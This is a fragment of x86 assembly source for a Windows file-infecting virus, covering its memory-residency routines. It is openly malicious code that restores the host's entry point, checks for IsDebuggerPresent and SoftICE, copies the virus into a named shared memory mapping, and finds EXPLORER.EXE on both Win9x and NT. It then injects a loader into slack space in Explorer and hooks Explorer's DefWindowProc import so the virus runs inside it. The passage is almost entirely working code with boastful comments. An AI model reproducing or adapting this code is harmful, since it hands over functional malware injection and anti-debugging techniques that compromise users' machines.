API_PUSH_SIZE equ 00000004h*00000004h
|
|
|
|
RestoreHost: lea esi,dword ptr [esp+API_PUSH_SIZE]
|
|
sub dword ptr [esi],00000005h
|
|
cld
|
|
lodsd
|
|
|
|
lea esi,dword ptr [ebp+EP_Bytes]
|
|
push esi
|
|
push 00000005h
|
|
call get_org_code
|
|
|
|
org_code db 05h dup (90h)
|
|
|
|
get_org_code: push eax
|
|
call dword ptr [ebp+a_GetCurrentProcess]
|
|
push eax
|
|
call dword ptr [ebp+a_WriteProcessMemory]
|
|
or eax,eax
|
|
jz critical_error
|
|
|
|
cld
|
|
lodsd
|
|
cmp eax,00000005h
|
|
jne critical_error
|
|
|
|
;============================================================
|
|
;Try to locate IsDebuggerPresent API
|
|
;============================================================
|
|
|
|
mov ecx,00000001h
|
|
lea esi,dword ptr [ebp+CRC32_IsDebugPr]
|
|
lea edi,dword ptr [ebp+a_IsDebuggerPresent]
|
|
call get_APIs
|
|
jecxz DetectDebug
|
|
|
|
jmp short SI_LookUp
|
|
|
|
;============================================================
|
|
;Check if the current process is running in the context of a
|
|
;debugger
|
|
;============================================================
|
|
|
|
DetectDebug: call dword ptr [ebp+a_IsDebuggerPresent]
|
|
or eax,eax
|
|
jnz GoBack2Host
|
|
|
|
;============================================================
|
|
;SoftIce lookup
|
|
;
|
|
;Code based on the article "Win32 Anti-Debugging tricks" by
|
|
;Billy Belcebu/iKX ( published on XINE#4 )
|
|
;============================================================
|
|
|
|
SI_LookUp: mov esi,dword ptr [ebp+a_CreateFileA]
|
|
|
|
push ecx
|
|
push FILE_ATTRIBUTE_READONLY
|
|
push OPEN_EXISTING
|
|
push ecx
|
|
push FILE_SHARE_READ
|
|
push GENERIC_READ
|
|
call Get_szSIw9x
|
|
|
|
db '\\.\SICE',00h
|
|
|
|
Get_szSIw9x: call esi
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
jne SI_Found
|
|
|
|
push 00000000h
|
|
push FILE_ATTRIBUTE_READONLY
|
|
push OPEN_EXISTING
|
|
push 00000000h
|
|
push FILE_SHARE_READ
|
|
push GENERIC_READ
|
|
call Get_szSIwNT
|
|
|
|
db '\\.\NTICE',00h
|
|
|
|
Get_szSIwNT: call esi
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je SI_NotFound
|
|
|
|
SI_Found: push eax
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
jmp GoBack2Host
|
|
|
|
;============================================================
|
|
;Get a object name based on current hostname
|
|
;============================================================
|
|
|
|
SI_NotFound: lea edi,dword ptr [ebp+SizeOfComputerName]
|
|
push edi
|
|
mov eax,00000020h
|
|
cld
|
|
stosd
|
|
push edi
|
|
call dword ptr [ebp+a_GetComputerNameA]
|
|
or eax,eax
|
|
jz GoBack2Host
|
|
|
|
mov esi,edi
|
|
call get_str_crc32
|
|
|
|
movzx ecx,byte ptr [edi]
|
|
and ecx,00000003h ; Number of characters
|
|
inc ecx
|
|
|
|
lea edi,dword ptr [ebp+szObjectName]
|
|
|
|
LoopBuildNick: mov al,dl
|
|
and al,0Fh
|
|
add al,'a' ; Get character
|
|
stosb
|
|
shr edx,04h
|
|
loop LoopBuildNick
|
|
|
|
mov eax,00003233h
|
|
stosd
|
|
mov al,cl
|
|
stosb
|
|
|
|
;============================================================
|
|
;Allocate shared memory
|
|
;
|
|
;MSDN says:
|
|
;
|
|
;"A shared file-mapping object will not be destroyed until
|
|
;all processes that use it close their handles to it by using
|
|
;the CloseHandle function."
|
|
;
|
|
;So the idea is to use CreateFileMapping and MapViewOfFile,
|
|
;instead of VirtualAlloc... Then read open this
|
|
;file-mapping from a small piece of code injected into
|
|
;EXPLORER.EXE
|
|
;============================================================
|
|
|
|
lea eax,dword ptr [ebp+szObjectName]
|
|
push eax
|
|
push alloc_size
|
|
push 00000000h
|
|
push PAGE_READWRITE
|
|
push 00000000h
|
|
push 0FFFFFFFFh
|
|
call dword ptr [ebp+a_CreateFileMappingA]
|
|
or eax,eax
|
|
jz GoBack2Host
|
|
|
|
mov edi,eax
|
|
|
|
call dword ptr [ebp+a_GetLastError]
|
|
cmp eax,000000B7h ; ERROR_ALREADY_EXISTS
|
|
jne ResCheckOk
|
|
|
|
push edi
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
jmp GoBack2Host
|
|
|
|
ResCheckOk: push 00000000h
|
|
push 00000000h
|
|
push 00000000h
|
|
push FILE_MAP_WRITE
|
|
push edi
|
|
call dword ptr [ebp+a_MapViewOfFile]
|
|
or eax,eax
|
|
jz GoBack2Host
|
|
|
|
;============================================================
|
|
;Copy virus to allocated memory block
|
|
;============================================================
|
|
|
|
lea esi,dword ptr [ebp+viro_sys]
|
|
mov edi,eax
|
|
mov ecx,size_virtual
|
|
cld
|
|
rep movsb
|
|
|
|
;============================================================
|
|
;Continue execution on allocated memory!!!!!!!!!
|
|
;
|
|
;This means we are able to use extended buffers...
|
|
;============================================================
|
|
|
|
add eax,offset HostVirMem - offset viro_sys
|
|
push eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;Code executed into allocated memory... Extended buffers are available now
|
|
;============================================================================
|
|
|
|
HostVirMem: call MemDelta
|
|
MemDelta: pop ebp
|
|
sub ebp,offset MemDelta
|
|
|
|
;============================================================
|
|
;The virus needs to locate SYSTEM directory in order to load
|
|
;DLL's by using CRC32 instead of their names
|
|
;============================================================
|
|
|
|
push MAX_PATH
|
|
lea edi,dword ptr [ebp+szSYSTEMDIR]
|
|
push edi
|
|
call dword ptr [ebp+a_GetSystemDirectoryA]
|
|
or eax,eax
|
|
jz GoBack2Host
|
|
|
|
;edi -> Points 1byte above the null terminator
|
|
|
|
add edi,eax
|
|
cld
|
|
mov eax,'D.*\' ; Add '*.DLL'
|
|
stosd
|
|
mov eax,00004C4Ch
|
|
stosd
|
|
|
|
;============================================================
|
|
;Get OS version
|
|
;============================================================
|
|
|
|
lea esi,dword ptr [ebp+system_version]
|
|
push esi
|
|
mov dword ptr [esi],00000094h
|
|
call dword ptr [ebp+a_GetVersionEx]
|
|
or eax,eax
|
|
jz FreeUSER32
|
|
|
|
add esi,00000010h
|
|
cld
|
|
lodsd
|
|
|
|
cmp eax,VER_PLATFORM_WIN32_NT
|
|
je MemInfectWinNt
|
|
|
|
cmp eax,VER_PLATFORM_WIN32_WINDOWS
|
|
je MemInfectWin9x
|
|
|
|
;============================================================
|
|
;Free USER32
|
|
;============================================================
|
|
|
|
FreeUSER32: push dword ptr [ebp+hUSER32]
|
|
call dword ptr [ebp+a_FreeLibrary]
|
|
|
|
;============================================================
|
|
;Back to host
|
|
;============================================================
|
|
|
|
TblDoPolyPops equ $
|
|
|
|
GoBack2Host: pop eax
|
|
pop eax
|
|
pop eax
|
|
pop eax
|
|
|
|
ret
|
|
|
|
;============================================================================
|
|
;Residency routines for Windows 9x
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Get hands on USER32.DLL
|
|
;============================================================
|
|
|
|
MemInfectWin9x: mov eax,dword ptr [ebp+CRCszUSER32]
|
|
mov ecx,NumUSER32Apis
|
|
lea esi,dword ptr [ebp+CRC32USER32Apisw9x]
|
|
lea edi,dword ptr [ebp+epUSER32Apis]
|
|
call VirLoadLib
|
|
mov dword ptr [ebp+hUSER32],eax
|
|
or eax,eax
|
|
jz GoBack2Host
|
|
|
|
;============================================================
|
|
;The functions provided by the tool help library make it
|
|
;easier for you to obtain information about currently
|
|
;executing applications. These functions are designed to
|
|
;streamline the creation of Win32-hosted tools, specifically
|
|
;debuggers
|
|
;============================================================
|
|
|
|
mov ebx,dword ptr [ebp+hKERNEL32]
|
|
|
|
mov ecx,NumTOOLHELPApis
|
|
lea esi,dword ptr [ebp+CRC32TOOLHELPApis]
|
|
lea edi,dword ptr [ebp+epTOOLHELPApis]
|
|
call get_APIs
|
|
jecxz DoneTOOLHELP
|
|
|
|
ExitMemWin9x: jmp FreeUSER32
|
|
|
|
;============================================================
|
|
;Take a snapshot of the processeses currently loaded in the
|
|
;system
|
|
;
|
|
;The snapshot taken by CreateToolHelpSnapShot function is
|
|
;examined by the other tool help functions to provide their
|
|
;results
|
|
;
|
|
;Access to the snapshot is read only. The snapshot handle
|
|
;acts like an object handle and is subject to the same rules
|
|
;regarding which processes and threads it is valid in
|
|
;============================================================
|
|
|
|
TH32CS_SNAPHEAPLIST equ 00000001h
|
|
TH32CS_SNAPPROCESS equ 00000002h
|
|
TH32CS_SNAPTHREAD equ 00000004h
|
|
TH32CS_SNAPMODULE equ 00000008h
|
|
TH32CS_INHERIT equ 80000000h
|
|
|
|
TH32CS_SNAPALL equ TH32CS_SNAPHEAPLIST or \
|
|
TH32CS_SNAPPROCESS or \
|
|
TH32CS_SNAPTHREAD or \
|
|
TH32CS_SNAPMODULE
|
|
|
|
DoneTOOLHELP: push ecx ;th32ProcessID
|
|
push TH32CS_SNAPPROCESS ;dwFlags
|
|
|
|
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
|
|
cmp eax,0FFFFFFFFh
|
|
je ExitMemWin9x
|
|
|
|
mov dword ptr [ebp+hSnapshot],eax
|
|
|
|
;============================================================
|
|
;Retrieve information about the first process encountered
|
|
;in the system snapshot
|
|
;============================================================
|
|
|
|
lea edi,dword ptr [ebp+ProcessEntry]
|
|
push edi
|
|
mov dword ptr [edi],SIZEOFPROCESSENTRY
|
|
push eax
|
|
call dword ptr [ebp+a_Process32First]
|
|
or eax,eax
|
|
jz CloseSnapshot
|
|
|
|
CheckProcEntry: lea esi,dword ptr [ebp+ProcEszExeFile]
|
|
lea edi,dword ptr [ebp+BufStrFilename]
|
|
call parse_filename
|
|
|
|
mov esi,edx
|
|
call get_str_crc32
|
|
cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ?
|
|
je EFoundTryMod
|
|
|
|
;============================================================
|
|
;Go to next process
|
|
;============================================================
|
|
|
|
lea eax,dword ptr [ebp+ProcessEntry]
|
|
push eax ;lppe
|
|
push dword ptr [ebp+hSnapshot] ;hSnapshot
|
|
call dword ptr [ebp+a_Process32Next]
|
|
or eax,eax
|
|
jnz CheckProcEntry
|
|
|
|
CloseSnapshot: push dword ptr [ebp+hSnapshot]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
jmp ExitMemWin9x
|
|
|
|
;============================================================
|
|
;Close snapshot and create a new one, but this time we are
|
|
;going to list modules loaded by EXPLORER.EXE
|
|
;============================================================
|
|
|
|
EFoundTryMod: push dword ptr [ebp+hSnapshot]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
push dword ptr [ebp+ProcEth32ProcessID] ;th32ProcessID
|
|
push TH32CS_SNAPMODULE ;dwFlags
|
|
|
|
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
|
|
cmp eax,0FFFFFFFFh
|
|
je ExitMemWin9x
|
|
|
|
mov dword ptr [ebp+hSnapshot],eax
|
|
|
|
;============================================================
|
|
;Perfect !!!! Lets retrieve 1st module using Module32First
|
|
;============================================================
|
|
|
|
lea edi,dword ptr [ebp+ModuleEntry]
|
|
push edi ;lpme
|
|
mov dword ptr [edi],SIZEOFMODULEENTRY
|
|
push eax ;hSnapshot
|
|
call dword ptr [ebp+a_Module32First]
|
|
or eax,eax
|
|
jz CloseSnapshot
|
|
|
|
;============================================================
|
|
;Check if this is the module we are interested in
|
|
;============================================================
|
|
|
|
CheckEMod: mov eax,dword ptr [ebp+ProcEth32ModuleID]
|
|
cmp eax,dword ptr [ebp+ModEth32ModuleID]
|
|
je GetModDone
|
|
|
|
;============================================================
|
|
;Go to next module
|
|
;============================================================
|
|
|
|
push edi ;lpme
|
|
push dword ptr [ebp+hSnapshot] ;hSnapshot
|
|
call dword ptr [ebp+a_Module32Next]
|
|
or eax,eax
|
|
jnz CheckEMod
|
|
|
|
jmp CloseSnapshot ;Abort if module not found
|
|
|
|
;============================================================
|
|
;Ohj0j0... Fine! Here we are with EXPLORER.EXE module handle
|
|
;============================================================
|
|
|
|
GetModDone: mov edx,dword ptr [ebp+ModEhModule]
|
|
mov dword ptr [ebp+hModule],edx
|
|
|
|
;============================================================
|
|
;Open process
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [ebp+ProcEth32ProcessID]
|
|
call OpenProcess
|
|
or eax,eax
|
|
jz CloseSnapshot
|
|
|
|
;============================================================
|
|
;Duh! EXPLORER.EXE process is now 0wN3d
|
|
;============================================================
|
|
|
|
call FuckExplorer
|
|
|
|
;============================================================
|
|
;Close process
|
|
;============================================================
|
|
|
|
push dword ptr [ebp+hProcess]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
jmp CloseSnapshot
|
|
|
|
;============================================================================
|
|
;Residency routines for Windows NT & Windows 2000
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Hands on USER32 apis for Windows NT (Use wide versions)
|
|
;============================================================
|
|
|
|
MemInfectWinNt: mov eax,dword ptr [ebp+CRCszUSER32]
|
|
mov ecx,NumUSER32Apis
|
|
lea esi,dword ptr [ebp+CRC32USER32Apiswnt]
|
|
lea edi,dword ptr [ebp+epUSER32Apis]
|
|
call VirLoadLib
|
|
mov dword ptr [ebp+hUSER32],eax
|
|
or eax,eax
|
|
jz GoBack2Host
|
|
|
|
;============================================================
|
|
;We need PSAPI.DLL to do the trick
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [ebp+CRCszPSAPI]
|
|
mov ecx,NumPSAPIApis
|
|
lea esi,dword ptr [ebp+CRC32PSAPIApis]
|
|
lea edi,dword ptr [ebp+epPSAPIApis]
|
|
call VirLoadLib
|
|
mov dword ptr [ebp+hPSAPI],eax
|
|
or eax,eax
|
|
jz FreeUSER32
|
|
|
|
;============================================================
|
|
;Get a list of loaded processes (Max. 32 processes)
|
|
;============================================================
|
|
|
|
DonePSAPI: lea edi,dword ptr [ebp+EP_Bytes]
|
|
push edi ;cbNeeded
|
|
push 00000080h ;cb
|
|
lea esi,dword ptr [ebp+ProcessIdList]
|
|
push esi
|
|
call dword ptr [ebp+a_EnumProcesses]
|
|
or eax,eax
|
|
jz ExitMemNt
|
|
|
|
;============================================================
|
|
;To determine how many processes were enumerated by the call
|
|
;to EnumProcesses, divide the resulting value in the cbNeeded
|
|
;parameter by sizeof(DWORD)
|
|
;============================================================
|
|
|
|
mov ecx,dword ptr [edi]
|
|
shr ecx,02h ;Divide ECX by 4... Nice, isnt it?
|
|
jecxz ExitMemNt
|
|
|
|
;============================================================
|
|
;Now we have a list of process identifiers... Follow it
|
|
;============================================================
|
|
|
|
ProcessLookUp: push ecx
|
|
cld
|
|
lodsd
|
|
push esi
|
|
|
|
;============================================================
|
|
;Open process
|
|
;============================================================
|
|
|
|
call OpenProcess
|
|
or eax,eax
|
|
jz TryNextProcess
|
|
|
|
;============================================================
|
|
;Enumerate process modules... The 1st obtained module
|
|
;is the executable itself
|
|
;============================================================
|
|
|
|
lea edx,dword ptr [ebp+EP_Bytes] ;lpcbNeeded
|
|
push edx
|
|
push 00000080h ;cb
|
|
lea esi,dword ptr [ebp+ModuleList]
|
|
push esi ;lphModule
|
|
push eax ;hProcess
|
|
|
|
call dword ptr [ebp+a_EnumProcessModules]
|
|
or eax,eax
|
|
jz NCProcess
|
|
|
|
cld
|
|
lodsd ;The first module is the .EXE itself
|
|
|
|
mov dword ptr [ebp+hModule],eax
|
|
|
|
;============================================================
|
|
;Get module name using GetModuleBaseNameA API
|
|
;============================================================
|
|
|
|
push MAX_PATH ;nSize
|
|
lea esi,dword ptr [ebp+BufStrFilename]
|
|
push esi ;lpBaseName
|
|
push eax ;hModule
|
|
push dword ptr [ebp+hProcess] ;hProcess
|
|
|
|
call dword ptr [ebp+a_GetModuleBaseNameA]
|
|
or eax,eax
|
|
jz NCProcess
|
|
|
|
;============================================================
|
|
;Module name is EXPLORER.EXE (use CRC32 comparison)
|
|
;============================================================
|
|
|
|
mov edi,esi
|
|
call parse_filename
|
|
mov esi,edx
|
|
call get_str_crc32
|
|
cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ?
|
|
jne NCProcess
|
|
|
|
;============================================================
|
|
;If EXPLORER.EXE found cleanup and go to the memory
|
|
;infection procedure
|
|
;============================================================
|
|
|
|
pop eax
|
|
pop eax
|
|
call FuckExplorer
|
|
|
|
;============================================================
|
|
;Close process
|
|
;============================================================
|
|
|
|
push dword ptr [ebp+hProcess]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
jmp ExitMemNt
|
|
|
|
;============================================================
|
|
;Try next process
|
|
;============================================================
|
|
|
|
NCProcess: push dword ptr [ebp+hProcess]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
TryNextProcess: pop esi
|
|
pop ecx
|
|
loop ProcessLookUp
|
|
|
|
;============================================================
|
|
;Residency proc failed!
|
|
;============================================================
|
|
|
|
ExitMemNt: push dword ptr [ebp+hPSAPI]
|
|
call dword ptr [ebp+a_FreeLibrary]
|
|
jmp FreeUSER32
|
|
|
|
;============================================================================
|
|
;Open process
|
|
;
|
|
;On entry:
|
|
; eax -> Process id
|
|
;On exit:
|
|
; eax -> Handle to process or NULL if error
|
|
;============================================================================
|
|
|
|
PROCESS_TERMINATE equ 00000001h
|
|
PROCESS_CREATE_THREAD equ 00000002h
|
|
PROCESS_SET_SESSIONID equ 00000004h
|
|
PROCESS_VM_OPERATION equ 00000008h
|
|
PROCESS_VM_READ equ 00000010h
|
|
PROCESS_VM_WRITE equ 00000020h
|
|
PROCESS_DUP_HANDLE equ 00000040h
|
|
PROCESS_CREATE_PROCESS equ 00000080h
|
|
PROCESS_SET_QUOTA equ 00000100h
|
|
PROCESS_SET_INFORMATION equ 00000200h
|
|
PROCESS_QUERY_INFORMATION equ 00000400h
|
|
|
|
OpenProcess: push eax
|
|
push 00000000h
|
|
push PROCESS_QUERY_INFORMATION or \
|
|
PROCESS_VM_READ or \
|
|
PROCESS_VM_WRITE or \
|
|
PROCESS_VM_OPERATION
|
|
|
|
call dword ptr [ebp+a_OpenProcess]
|
|
|
|
mov dword ptr [ebp+hProcess],eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;Infect EXPLORER.EXE in memory
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Now search for the section header list
|
|
;============================================================
|
|
|
|
FuckExplorer: mov ebx,dword ptr [ebp+hModule]
|
|
|
|
mov ecx,00000004h
|
|
lea esi,dword ptr [ebp+Explorer_MZ_lfanew]
|
|
mov eax,ebx
|
|
add eax,MZ_lfanew
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
lodsd ;There is a CLD at the end of ReadProcessMem
|
|
or eax,eax ;Now esi -> Explorer_FH_SizeOfOptionalHeader
|
|
jz FE_Exit
|
|
|
|
; eax -> MZ_lfanew
|
|
|
|
add eax,ebx
|
|
mov edi,eax
|
|
add eax,00000004h + FH_SizeOfOptionalHeader
|
|
dec ecx
|
|
dec ecx
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
lodsw ;Just to do
|
|
;esi -> Explorer_FH_NumberOfSections
|
|
mov eax,edi
|
|
add eax,00000004h + FH_NumberOfSections
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
lodsw ;esi -> Explorer_SectionHeader
|
|
movzx ecx,ax ;ecx -> Number of sections
|
|
|
|
movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
|
|
add edi,eax
|
|
add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER
|
|
|
|
;============================================================
|
|
;Search for a suitable section
|
|
;============================================================
|
|
|
|
ExplorerHole: push ecx
|
|
|
|
mov eax,edi
|
|
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz E_NextSection
|
|
|
|
;============================================================
|
|
;Is this a valid section?
|
|
;============================================================
|
|
|
|
cmp dword ptr [esi+SH_Characteristics], \
|
|
IMAGE_SCN_MEM_READ or \
|
|
IMAGE_SCN_MEM_WRITE or \
|
|
IMAGE_SCN_CNT_INITIALIZED_DATA
|
|
jne E_NextSection
|
|
|
|
mov eax,dword ptr [esi+SH_SizeOfRawData]
|
|
sub eax,dword ptr [esi+SH_VirtualSize]
|
|
js E_NextSection
|
|
|
|
cmp eax,SIZEOF_EVL
|
|
jae Ok_E_Section
|
|
|
|
;============================================================
|
|
;Try next section
|
|
;============================================================
|
|
|
|
E_NextSection: add edi,ecx
|
|
pop ecx
|
|
loop ExplorerHole
|
|
|
|
;============================================================
|
|
;No suitable section found
|
|
;============================================================
|
|
|
|
jmp FE_Exit
|
|
|
|
;============================================================
|
|
;Yes, this is a valid section... Write virus loader
|
|
;============================================================
|
|
|
|
Ok_E_Section: pop ecx ;Cleanup stack
|
|
|
|
mov eax,dword ptr [ebp+a_DefWindowProc]
|
|
mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax
|
|
|
|
mov eax,dword ptr [ebp+a_OpenFileMappingA]
|
|
mov dword ptr [ebp+EVL_a_OpenFileMapping],eax
|
|
mov eax,dword ptr [ebp+a_MapViewOfFile]
|
|
mov dword ptr [ebp+EVL_a_MapViewOfFile],eax
|
|
|
|
mov eax,ebx
|
|
add eax,dword ptr [esi+SH_VirtualAddress]
|
|
add eax,dword ptr [esi+SH_VirtualSize]
|
|
|
|
mov dword ptr [ebp+Explorer_Patch],eax
|
|
|
|
mov ecx,SIZEOF_EVL
|
|
lea esi,dword ptr [ebp+EVL_code]
|
|
call WriteProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
;============================================================
|
|
;Go to EXPLORER.EXE data directory
|
|
;============================================================
|
|
|
|
mov eax,ebx
|
|
add eax,dword ptr [ebp+Explorer_MZ_lfanew]
|
|
add eax,00000004h + \
|
|
IMAGE_SIZEOF_FILE_HEADER + \
|
|
OH_DataDirectory.DE_Import.DD_VirtualAddress
|
|
|
|
mov ecx,00000004h
|
|
lea esi,dword ptr [ebp+Explorer_DE_Import]
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
;============================================================
|
|
;Search for USER32 import module descriptor
|
|
;============================================================
|
|
|
|
lodsd
|
|
add eax,ebx
|
|
mov edi,eax
|
|
|
|
E_Search_K32: mov eax,edi
|
|
mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|
lea esi,dword ptr [ebp+Explorer_ImportDescriptor]
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
;============================================================
|
|
;Last import module descriptor!?
|
|
;============================================================
|
|
|
|
cmp dword ptr [esi],00000000h
|
|
je FE_Exit
|
|
|
|
;============================================================
|
|
;Check import module descriptor ID_Name
|
|
;============================================================
|
|
|
|
mov eax,ebx
|
|
add eax,dword ptr [esi+ID_Name]
|
|
mov ecx,00000010h
|
|
lea esi,dword ptr [ebp+Explorer_ID_Name]
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
push edi
|
|
|
|
lea edi,dword ptr [ebp+BufStrFilename]
|
|
call parse_filename
|
|
mov esi,edx
|
|
call get_str_crc32
|
|
|
|
pop edi
|
|
|
|
cmp edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?
|
|
je E_Found_K32
|
|
|
|
;============================================================
|
|
;Next import module descriptor
|
|
;============================================================
|
|
|
|
add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|
jmp E_Search_K32
|
|
|
|
;============================================================
|
|
;USER32.DLL import module descriptor found
|
|
;============================================================
|
|
|
|
E_Found_K32: mov edi,dword ptr [ebp+ \
|
|
Explorer_ImportDescriptor+ \
|
|
ID_FirstThunk]
|
|
add edi,ebx
|
|
mov ecx,00000004h
|
|
lea esi,dword ptr [ebp+Explorer_Hook]
|
|
|
|
E_NextThunk: mov eax,edi
|
|
call ReadProcessMem
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
mov eax,dword ptr [esi]
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
cmp eax,dword ptr [ebp+a_DefWindowProc]
|
|
je E_Poison
|
|
|
|
add edi,ecx
|
|
jmp E_NextThunk
|
|
|
|
;============================================================
|
|
;Gotcha!
|
|
;============================================================
|
|
|
|
E_Poison: mov eax,edi
|
|
mov dword ptr [ebp+Explorer_Init_Hook],eax
|
|
lea esi,dword ptr [ebp+Explorer_Patch]
|
|
|
|
call WriteProcessMem ; ECX already loaded
|
|
or eax,eax
|
|
jz FE_Exit
|
|
|
|
;============================================================
|
|
;Done!!!! ieieie!!!!
|
|
;============================================================
|
|
|
|
FE_Exit: ret
|
|
|
|
;============================================================================
|
|
;Code injected into EXPLORER.EXE
|
|
;
|
|
;The purpose of this code is to get access to virus memory from EXPLORER.EXE
|
|
;============================================================================
|
|
|
|
EVL_code equ $
|
|
|
|
;============================================================
|
|
;Let some space for the return address... then save all regs
|
|
;============================================================
|
|
|
|
push eax
|
|
pushad
|
|
|
|
;============================================================
|
|
;This is the original address of the API... Lets make the
|
|
;return address point to it
|
|
;============================================================
|
|
|
|
db 0B8h ; EAX -> Original API address
|
|
EVL_a_OrginalApiAddr dd 00000000h
|
|
|
|
mov dword ptr [esp+cPushad],eax
|
|
|
|
;============================================================
|
|
;Attempt to avoid reentrance problems
|
|
;============================================================
|
|
|
|
call MultiThreadSafe
|
|
|
|
db 00h ;Only changed over hook code, not over main virus body
|
|
|
|
MultiThreadSafe:pop esi
|
|
mov edi,esi
|
|
cld
|
|
lodsb
|
|
or al,al
|
|
jnz MayBeOnNextCall
|
|
dec al
|
|
stosb
|
|
|
|
;============================================================
|
|
;Try to open the virus file-mapping
|
|
;
|
|
;There is some kinda race condition here... If the infected
|
|
;program terminates before this point we wont be able to
|
|
;find the rest of the virus in memory...
|
|
;
|
|
;In that case the hook will stay present, and this code may
|
|
;be able to find the virus memory-mapping on next attemps
|
|
;============================================================
|
|
|
|
call GetszObjName ;lpName
|
|
|
|
szObjectName db 10h dup (00h)
|
|
|
|
GetszObjName: push 00000000h ;bInheritHandle
|
|
mov edi,FILE_MAP_WRITE
|
|
push edi ;dwDesiredAccess
|
|
|
|
db 0B8h ; EAX -> OpenFileMappingA
|
|
EVL_a_OpenFileMapping dd 00000000h
|
|
|
|
call eax
|
|
or eax,eax
|
|
jz MayBeOnNextCall
|
|
|
|
;============================================================
|
|
;The file-mapping is here... Get an image of it
|
|
;============================================================
|
|
|
|
xor edx,edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edi
|
|
push eax
|
|
|
|
db 0B8h ; EAX -> OpenFileMappingA
|
|
EVL_a_MapViewOfFile dd 00000000h
|
|
|
|
call eax
|
|
|
|
or eax,eax
|
|
jz MayBeOnNextCall
|
|
|
|
;============================================================
|
|
;Great! We have access to virus allocated memory, but
|
|
;remember we are now inside EXPLORER.EXE !!!!
|
|
;
|
|
;Jump to virus complete image in order to complete
|
|
;initialization inside EXPLORER.EXE
|
|
;============================================================
|
|
|
|
add eax,offset ExplorerInit - offset viro_sys
|
|
call eax
|
|
|
|
;============================================================
|
|
;Restore regs and jump to original API code
|
|
;============================================================
|
|
|
|
MayBeOnNextCall:popad
|
|
ret
|
|
|
|
SIZEOF_EVL equ $-EVL_code
|
|
|
|
;============================================================================
|
|
;Read process memory routine
|
|
;
|
|
;On entry:
|
|
; eax -> Pointer to the base address from which to read
|
|
; ecx -> Specifies the requested number of bytes to read
|
|
; esi -> Pointer to a buffer that receives the contents from
|
|
; the address address
|
|
;
|
|
; [ebp+hProcess] contains the target process handle
|
|
;
|
|
;On exit:
|
|
; eax -> NULL if error
|
|
;
|
|
; ebx, ecx, esi, edi, ebp preserved
|
|
;============================================================================
|
|
|
|
ReadProcessMem: push edi
|
|
push ecx
|
|
|
|
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesRead
|
|
push edi
|
|
push ecx ;nSize
|
|
push esi ;lpBuffer
|
|
push eax ;lpBaseAddress
|
|
push dword ptr [ebp+hProcess] ;hProcess
|
|
|
|
call dword ptr [ebp+a_ReadProcessMemory]
|
|
|
|
pop ecx
|
|
|
|
or eax,eax
|
|
jz ExitREM
|
|
|
|
cmp dword ptr [edi],ecx
|
|
je ExitREM
|
|
|
|
xor eax,eax
|
|
|
|
ExitREM: pop edi
|
|
cld
|
|
ret
|
|
|
|
;============================================================================
|
|
;Write process memory routine
|
|
;
|
|
;On entry:
|
|
; eax -> Pointer to the base address in the specified process
|
|
; to which data will be written
|
|
; ecx -> Specifies the number of bytes to write
|
|
; esi -> Pointer to the buffer that contains data to be written
|
|
;
|
|
; [ebp+hProcess] contains the target process handle
|
|
;
|
|
;On exit:
|
|
; eax -> NULL if error
|
|
;
|
|
; ebx, ecx, esi, edi, ebp preserved
|
|
;============================================================================
|
|
|
|
WriteProcessMem:push edi
|
|
push ecx
|
|
|
|
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesWritten
|
|
push edi
|
|
push ecx ;nSize
|
|
push esi ;lpBuffer
|
|
push eax ;lpBaseAddress
|
|
push dword ptr [ebp+hProcess] ;hProcess
|
|
|
|
call dword ptr [ebp+a_WriteProcessMemory]
|
|
|
|
pop ecx
|
|
|
|
or eax,eax
|
|
jz ExitWEM
|
|
|
|
cmp dword ptr [edi],ecx
|
|
je ExitWEM
|
|
|
|
xor eax,eax
|
|
|
|
ExitWEM: pop edi
|
|
cld
|
|
ret
|
|
|
|
;============================================================================
|
|
;Make crc lookup table
|
|
;
|
|
;Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
|
|
;x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.
|
|
;
|
|
